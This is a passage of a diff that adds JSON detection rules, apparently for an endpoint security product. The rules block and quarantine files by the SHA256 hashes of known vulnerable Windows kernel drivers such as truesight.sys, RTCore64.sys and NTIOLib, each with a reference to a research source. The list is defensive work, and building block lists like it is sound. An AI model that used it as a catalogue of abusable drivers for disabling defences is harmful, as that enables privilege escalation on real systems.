+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "511220d1-c511-5b77-800b-b240c13d5533",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452372Z",
+  "creation_date": "2026-03-23T11:45:30.452375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452385Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ae8d1dd56a8a000ced74a627052933d2e9bff31d251de185b3c0c5fc94a44db",
+  "comment": "Vulnerable Kernel Driver (aka Chaos-Rootkit.sys) [https://www.loldrivers.io/drivers/abcd2c10-1078-4cf9-b320-04ca38d22f98/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5118abca-b500-5eb4-b19b-ca1c98599ba7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481326Z",
+  "creation_date": "2026-03-23T11:45:30.481328Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fc3e8554602c476e2edfa92ba4f6fb2e5ba0db433b9fbd7d8be1036e454d2584",
+  "comment": "Vulnerable Kernel Driver (aka phymem_ext64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5137b3fd-a9e2-5b4a-861d-525c41143668",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158993Z",
+  "creation_date": "2026-03-23T11:45:31.158995Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159001Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "17ffa8ad0e834375aef70c23e474676b09fc8d3a6dc1a14673dc7865f8e3503d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "513fa4b3-d800-557c-aa84-f5a578980a74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982485Z",
+  "creation_date": "2026-03-23T11:45:29.982487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fd2df82341bf5ebb8a53682e60d08978100c01acb0bed7b6ce2876ada80f670",
+  "comment": "Vulnerable Kernel Driver (aka Lurker.sys) [https://www.loldrivers.io/drivers/3fb743b8-d3ed-4873-9c95-e212720dde21/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51457347-9d1a-5489-a768-d4a4b6ab8154",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146313Z",
+  "creation_date": "2026-03-23T11:45:31.146315Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146321Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "772a27f809add1bf474c38286c70ff3dd508c6c1d6feb9fe7e265004ff0cdb19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "514755c6-3832-5226-bd2a-cedd12472bee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147656Z",
+  "creation_date": "2026-03-23T11:45:31.147658Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a8f74806851f6221c107dc27a0adb75c7d19fd83374afdf2fb6858ba657841b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5149574e-0e49-5858-9d50-8823b9b3dc22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140151Z",
+  "creation_date": "2026-03-23T11:45:31.140154Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78a270ee9b994c11ed6295e9f3a24add38c711b1b3af96fed111e04bc2a6bbca",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "515217d0-bb8d-56ac-a08f-2a2b2edce24f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816014Z",
+  "creation_date": "2026-03-23T11:45:30.816017Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7de1ce434f957df7bbdf6578dd0bf06ed1269f3cc182802d5c499f5570a85b3a",
+  "comment": "Vulnerable Kernel Driver (aka ecsiodriverx64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51669b63-d90b-5f2d-868b-87e18dfe8c9d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619246Z",
+  "creation_date": "2026-03-23T11:45:29.619248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619254Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "516cc22c-7723-5419-a611-c6fe402234c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489376Z",
+  "creation_date": "2026-03-23T11:45:31.489380Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489388Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2821f21417c3d38468cb924d6caaf3a4f40a9d25d2477c299c7aa84c2ab5fea1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51713de4-e1f2-58d7-85bf-662d7d72bfcc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985393Z",
+  "creation_date": "2026-03-23T11:45:29.985395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9199979b9f3ea2108299d028373a6effcc41c81a46eecb430cc6653211d2913d",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5174fd59-99cf-5d49-96fc-3548959033b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454968Z",
+  "creation_date": "2026-03-23T11:45:30.454971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454980Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23115b5b1d5511d59cdad75f863d65893304dc098848dcb149b69492f51b31f6",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51779d72-5f52-576d-9aac-2a5f5129845d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471532Z",
+  "creation_date": "2026-03-23T11:45:31.471536Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471545Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "84f03b74b9fe26ceed42a64153d127aeae41ff94b5fc86e0484a17e1b2a2a8b1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51800cdd-5718-5b84-b5b1-393f6fafc75f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817356Z",
+  "creation_date": "2026-03-23T11:45:31.817358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817363Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0e89f000488af2af5872b63c17b0f5fd54b30abf9f93af4c9add231ccaecfab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "518d211c-4eac-5f66-a818-d9c7484d4dc2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494328Z",
+  "creation_date": "2026-03-23T11:45:31.494331Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8dd18f32fbffb03a0eeb33782a5b239673597f85b195273894d33013643e3242",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "518e89ba-b3ce-5c8b-8c53-68f1bfd9e121",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607400Z",
+  "creation_date": "2026-03-23T11:45:29.607402Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9bc6b2d5822c5b3a7b1023adceb25b47b41e664347860be4603ee81b644590e",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5193f4ad-67cb-5800-a8ef-45bea3467d63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615815Z",
+  "creation_date": "2026-03-23T11:45:29.615817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21a6689456d9833453d5247e4c5faf13edcd4835408e033c40ae1a225711ae8f",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51a0901e-5abd-5304-96e9-1a6b1fbaeec4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974730Z",
+  "creation_date": "2026-03-23T11:45:29.974732Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974738Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ffbb534c73106a2879d5a9d4ad3436c8d3ab8ac6aa8b217e26a6492fa1d16d0",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51a615f9-acb9-5db7-b511-36a78b3cf2e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141803Z",
+  "creation_date": "2026-03-23T11:45:31.141805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c6b6b0e4850caa2f5f75de0667d758e420b33bda452c21d9cdf6ff29300f84f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51aef40b-a6af-5853-8386-18c0ea344fca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820634Z",
+  "creation_date": "2026-03-23T11:45:30.820636Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dee384604d2d0018473941acbefe553711ded7344a4932daeffb876fe2fa0233",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51b245a9-91b3-56b9-9410-f60cd227cf4b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615362Z",
+  "creation_date": "2026-03-23T11:45:29.615364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615369Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf3ec8972720f84d73e907bb293de40468a0d605ce0da658a786f7b4842b3c62",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51b8638c-1275-5875-9018-7c2e4125e056",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829786Z",
+  "creation_date": "2026-03-23T11:45:31.829789Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ffc46be50708610ec4f477ca2813d6888eb60dc9b3677ea173496b68948b33c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "51bbddf6-fc33-51c0-8ecc-ed449ac50690",
